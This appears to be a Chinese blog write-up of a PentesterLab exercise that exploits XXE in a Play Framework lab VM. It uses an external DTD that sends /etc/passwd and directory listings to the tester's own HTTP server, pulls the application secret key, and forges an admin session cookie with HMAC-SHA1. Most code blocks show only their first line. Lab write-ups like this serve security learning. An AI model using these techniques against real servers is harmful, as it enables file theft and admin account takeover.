简要介绍
本文记录的是利用play渗透框架学习XXE实体攻击的过程,实验环境来自于pentesterlab Play XML Entities, 下载页面的iso, 用虚拟机软件PD或vmvare安装即可。打开虚拟机,获取虚拟机ip地址,然后访问就可以实验了,并不需要开启服务等其他操作,非常简单易用。同时还配备了课程讲解https://pentesterlab.com/exercises/play_xxe/course.
Play Framework是一个web的框架,在这个框架中,开发者可以快速的使用java或者scala编译开发web应用。这样可以有序管理代码,并且url可以像Ruby-on-Rails一样被映射。就像Ruby-on-Rails,当收到Http请求时,Play框架管理多种文本类型。
信息获取
目标ip: 10.211.15.4
, 访问如下:

练习的目标是: 读任意文件
, 获取secret_url
, login as admin
。
实体攻击
探测外部实体请求
首先测试目标服务器是否解析XML内容,并请求外部实体。本地开启服务器,接收来自目标服务器的外部实体请求:python -m SimpleHTTPServer 8000
, 然后burp发送如下请求
1 | POST /login HTTP/1.1 |
本地监听到如下内容,表明目标服务器解析XML内容,并发出了外部实体请求。
1 | 10.211.55.14 - - [21/Apr/2017 11:29:17] code 404, message File not found |
注意: burp发出的请求的Content-Type
必须为: text/xml
, 而不能是application/xml
, 猜测是目标服务器限制了解析的xml mime类型。
任意文件读取
目标服务器会请求外部实体,那么可以本地写test.dtd, 返回给目标服务器,test.dtd内容如下。
1 | <!ENTITY % p1 SYSTEM "file:///etc/passwd"> |
burp再次发生之前的请求,本地服务器能监听到:
1 | 10.211.55.14 - - [21/Apr/2017 11:54:10] "GET /test.dtd HTTP/1.1" 200 - |
显然,成功读取目标服务器/etc/passwd
文件内容,接着应该去获取secret_url
, 那么需要知道目标服务器源码文件的内容,从获取的/etc/passwd
文件内容可以发现用户play
的路径为/opt/play-2.1.3/xxe/
, 那么改变test.dtd,读/opt/play-2.1.3/xxe/
目录:
1 | <!ENTITY % p1 SYSTEM "file:///opt/play-2.1.3/xxe/"> |
得到如下内容:
1 | 10.211.55.14 - - [21/Apr/2017 15:21:24] "GET /BLAH?.gitignore%0A.settings%0Aapp%0Aconf%0Alogs%0Aproject%0Apublic%0AREADME%0ARUNNING_PID%0Atarget%0Atest%0A HTTP/1.1" 404 - |
通常,java框架会有路由配置url映射,那么可以访问/opt/play-2.1.3/xxe/conf/
目录(采用和上面相同的方式),得到如下内容:
1 | 10.211.55.14 - - [21/Apr/2017 12:56:38] "GET /BLAH?application.conf%0Aevolutions%0Aroutes%0A HTTP/1.1" 404 - |
在访问routes
,有如下内容
1 | GET / controllers.Application.index() |
得到secret_url为:0ecf87346b9c0b370f8d63e6e7fed4f0
, 访问。

伪造cookie
要实现admin用户登录,要么获取密码或登录绕过,要么利用cookie伪造登录,这里仅探讨伪造cookie登录。要实现cookie的伪造,那么需要知道目标服务器设置session的加密方式,访问/opt/play-2.1.3/xxe/conf/application.conf
文件,得到application.secret="X7G@Abg53=2p=][5F;uMNDm/QrDtVG0^iYHC3]Ov0t0E6b_amL16UynUbqS_?_eG"
.
1 | application.secret="X7G@Abg53=2p=][5F;uMNDm/QrDtVG0^iYHC3]Ov0t0E6b_amL16UynUbqS_?_eG" |
session的管理在app/controllers/Application.java
中(或者.scala), 核心代码如下:
1 | User user = User.findByUsername(username); |
显然,我们要利用user=admin
来伪造session.
framework/src/play/src/main/scala/play/api/mvc/Http.scala
中:
1 | def encode(data: Map[String, String]): String = { |
可知,session内容的格式为: signature-name1=value1&name2=value2
, 其实name1,value1等都经过url编码处理, 其中encoded=name1=value1&name2=value2
, signature=Crypto.sign(encoded)
。
加密函数如下:
1 | def sign(message: String, key: Array[Byte]): String = { |
其中key= "[KEY FOUND IN conf/application.conf]"
, 那么利用python伪造session内容,过程如下:
1 | In [1]: import hashlib |
这里必须使用hmac
库,而不能仅仅使用hashlib
库来计算sha1, 因为hmac库使用key来生成salt, 然后用hashlib.sha1
来计算hash值,而不是直接对key+data
生成hash值。
然后进行cookie伪造,cookie名字就是PLAY_SESSION
, burp请求如下:
1 | GET / HTTP/1.1 |

后记
XXE注入的本质是网站允许提交xml内容,而后台处理xml时不规范导致存在解析了xml内容中的外部实体。因此,如果网站允许提交xml内容,则可能存在XXE注入漏洞。